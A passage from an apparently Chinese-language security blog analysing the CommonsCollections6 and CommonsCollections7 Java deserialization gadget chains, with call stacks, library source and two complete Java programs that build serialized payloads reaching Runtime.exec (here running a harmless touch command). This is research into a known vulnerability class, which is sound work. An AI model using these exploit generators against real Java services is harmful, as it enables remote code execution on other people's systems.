 3        java.util.HashSet.readObject()
 4            java.util.HashMap.put()
 5            java.util.HashMap.hash()
 6                org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
 7                org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
 8                    org.apache.commons.collections.map.LazyMap.get()
 9                        org.apache.commons.collections.functors.ChainedTransformer.transform()
10                        org.apache.commons.collections.functors.InvokerTransformer.transform()
11                        java.lang.reflect.Method.invoke()
12                            java.lang.Runtime.exec()

这条与 CommonsCollections5 类似, 触发点由 BadAttributeValueExpException 改为 HashSet, 这里与 URLDNS 类似, 在反序列化时会重新计算对象的 hashCode, 而刚刚好 TiedMapEntry 的 hashCode 里面与 toString 一样也用到了 getValue.

1public int hashCode() {
2        Object value = this.getValue();
3        return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
4    }

不过这里比较奇怪的是 HashMap 就已经有 hashCode 了, 不知道为什么还要再套一层 HashSet. 我自己重新编写的时候是直接用的 HashMap 作为触发点.

exp 如下:

 1package demo.rmb122;
 2
 3import org.apache.commons.collections.Transformer;
 4import org.apache.commons.collections.functors.ChainedTransformer;
 5import org.apache.commons.collections.functors.ConstantTransformer;
 6import org.apache.commons.collections.functors.InvokerTransformer;
 7import org.apache.commons.collections.keyvalue.TiedMapEntry;
 8import org.apache.commons.collections.map.LazyMap;
 9
10import java.io.FileOutputStream;
11import java.io.ObjectOutputStream;
12import java.lang.reflect.Field;
13import java.util.HashMap;
14
15public class CommonsCollections6 {
16    public static void main(String[] args) throws Exception {
17        Transformer[] fake = new Transformer[]{
18                new ConstantTransformer("placeholder"),
19        };
20
21        Transformer[] transformers = new Transformer[]{
22                new ConstantTransformer(java.lang.Runtime.class),
23                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
24                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
25                new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/bin/touch", "/dev/shm/asdasd_1"}}),
26        };
27
28        ChainedTransformer chainedTransformer = new ChainedTransformer(fake);
29
30        HashMap innerMap = new HashMap<String, String>();
31
32        LazyMap lazyMap = (LazyMap) LazyMap.decorate(innerMap, chainedTransformer);
33        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "placeholder");
34
35        HashMap hashMap = new HashMap();
36        hashMap.put(tiedMapEntry, "zzzz");
37
38        Field field = chainedTransformer.getClass().getDeclaredField("iTransformers"); // 将真正的 transformers 设置, 不然在生成 exp 时就会执行命令, 自己打自己了
39        field.setAccessible(true);
40        field.set(chainedTransformer, transformers);
41        innerMap.clear(); // 清除 LazyMap 产生的缓存
42
43        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
44        oos.writeObject(hashMap);
45    }
46}

同样, 这套 exp 在 3, 4 都是通用的, 只需要更改 LazyMap.decorate 即可, 在 4 中是 LazyMap.LazyMap, 效果是是一样的, 只是方法名换了一个.

CommonsCollections7

仍然先看调用栈:

 1Payload method chain:
 2    java.util.Hashtable.readObject
 3    java.util.Hashtable.reconstitutionPut
 4    org.apache.commons.collections.map.AbstractMapDecorator.equals
 5    java.util.AbstractMap.equals
 6    org.apache.commons.collections.map.LazyMap.get
 7    org.apache.commons.collections.functors.ChainedTransformer.transform
 8    org.apache.commons.collections.functors.InvokerTransformer.transform
 9    java.lang.reflect.Method.invoke
10    sun.reflect.DelegatingMethodAccessorImpl.invoke
11    sun.reflect.NativeMethodAccessorImpl.invoke
12    sun.reflect.NativeMethodAccessorImpl.invoke0
13    java.lang.Runtime.exec

仍然是用 LazyMap 导致 RCE, 相比 TransformingComparator, LazyMap 在 3, 4 中都可以用, 泛用性会更好. 这里触发 Lazy.get 的方式是利用 HashMap/Hashtable readObject 会重建内部的哈希表的特性. 在遇到 hash 碰撞的时候, 会调用其中一个对象的 equals 方法来对比两个对象是否相同来判断是否真的是 hash 碰撞. 在这之中使用的是父类 AbstractMap 的 equals 方法.

 1public boolean equals(Object o) {
 2    if (o == this)
 3        return true;
 4
 5    if (!(o instanceof Map))
 6        return false;
 7    Map<?,?> m = (Map<?,?>) o;
 8    if (m.size() != size())
 9        return false;
10
11    try {
12        for (Entry<K, V> e : entrySet()) {
13            K key = e.getKey();
14            V value = e.getValue();
15            if (value == null) {
16                if (!(m.get(key) == null && m.containsKey(key)))
17                    return false;
18            } else {
19                if (!value.equals(m.get(key))) // <-- 对于我们的 exp 来说, 会在这里会触发
20                    return false;
21            }
22        }
23    } catch (ClassCastException unused) {
24        return false;
25    } catch (NullPointerException unused) {
26        return false;
27    }
28
29    return true;
30}

可以看到这个方法比较两个 Map 的大小, 并对比所有 key, value 都相等. 在其中使用了 get 方法, 触发了 Lazy.get. 在 ysoseiral 中使用的是 Hashtable 类, 实际上 HashMap 也是能够触发的.

 1final V putVal(int hash, K key, V value, boolean onlyIfAbsent,
 2                   boolean evict) {
 3        Node<K,V>[] tab; Node<K,V> p; int n, i;
 4    if ((tab = table) == null || (n = tab.length) == 0)
 5        n = (tab = resize()).length;
 6    if ((p = tab[i = (n - 1) & hash]) == null)
 7        tab[i] = newNode(hash, key, value, null);
 8    else {
 9        Node<K,V> e; K k;
10        if (p.hash == hash &&
11            ((k = p.key) == key || (key != null && key.equals(k))))  // <-- 这里进入 AbstractMap.equals
12            e = p;
13        else if (p instanceof TreeNode)
14            e = ((TreeNode<K,V>)p).putTreeVal(this, tab, hash, key, value);
15        else {
16            for (int binCount = 0; ; ++binCount) {
17                if ((e = p.next) == null) {
18                    p.next = newNode(hash, key, value, null);
19                    if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st
20                        treeifyBin(tab, hash);
21                    break;
22                }
23                if (e.hash == hash &&
24                    ((k = e.key) == key || (key != null && key.equals(k))))
25                    break;
26                p = e;
27            }
28        }
29        if (e != null) { // existing mapping for key
30            V oldValue = e.value;
31            if (!onlyIfAbsent || oldValue == null)
32                e.value = value;
33            afterNodeAccess(e);
34            return oldValue;
35        }
36    }
37    ++modCount;
38    if (++size > threshold)
39        resize();
40    afterNodeInsertion(evict);
41    return null;
42}

最后 exp 如下:

 1package demo.rmb122;
 2
 3import org.apache.commons.collections.Transformer;
 4import org.apache.commons.collections.functors.ChainedTransformer;
 5import org.apache.commons.collections.functors.ConstantTransformer;
 6import org.apache.commons.collections.functors.InvokerTransformer;
 7import org.apache.commons.collections.map.LazyMap;
 8
 9import java.io.FileOutputStream;
10import java.io.ObjectOutputStream;
11import java.lang.reflect.Field;
12import java.util.HashMap;
13
14public class CommonsCollections7 {
15    public static void main(String[] args) throws Exception {
16        Transformer[] fake = new Transformer[]{
17                new ConstantTransformer("placeholder"),
18        };
19
20        Transformer[] transformers = new Transformer[]{
21                new ConstantTransformer(java.lang.Runtime.class),
22                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
23                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
24                new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/bin/touch", "/dev/shm/asdasd_1"}}),
25        };
26
27        ChainedTransformer chainedTransformer = new ChainedTransformer(fake);
28
29        HashMap innerMap1 = new HashMap<String, String>();
30        innerMap1.put("yy", "1"); // "yy".hashCode() == "zZ".hashCode() == 3872
31        HashMap innerMap2 = new HashMap<String, String>();
32        innerMap2.put("zZ", "1");
33
34        LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(innerMap1, chainedTransformer);
35        LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(innerMap2, chainedTransformer);
36
37        HashMap hashMap = new HashMap();
38        hashMap.put(lazyMap1, "placeholder");
39        hashMap.put(lazyMap2, "placeholder");
40
41        innerMap1.remove("zZ"); // 在 put 的时候产生碰撞, 根据上面的分析调用 LazyMap.get, LazyMap 会将结果存入 innerMap 中缓存, 所以这里需要将其清除, 否则 hashcode 就不一样了 
42
43        Field field = chainedTransformer.getClass().getDeclaredField("iTransformers"); // 同上, 将真正的 transformers 设置, 不然在生成 exp 时就会执行命令, 自己打自己了
44        field.setAccessible(true);
45        field.set(chainedTransformer, transformers);
46
47        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
48        oos.writeObject(hashMap);
49    }
50}

总结

可以看到这些 chain 最后均需要经过 InvokerTransformer 或者 InstantiateTransformer. commons-collections 的修复也是着力于重点, 直接 ban 掉这两个类的 readObject, 一劳永逸.
而这些中对于 commons-collections4, 比较实用的是 CommonsCollections2, CommonsCollections4. 对于 commons-collections3, 为 CommonsCollections6, CommonsCollections7. 利用能否成功只与 commons-collections 自身的版本有关, 而与 jre 的版本没有太大关系, 只要不要是远古版本即可. 而且实际上不少 chain 是两者都通用的, 只不过 ysoserial 没有编写, 只需要稍稍修改就行.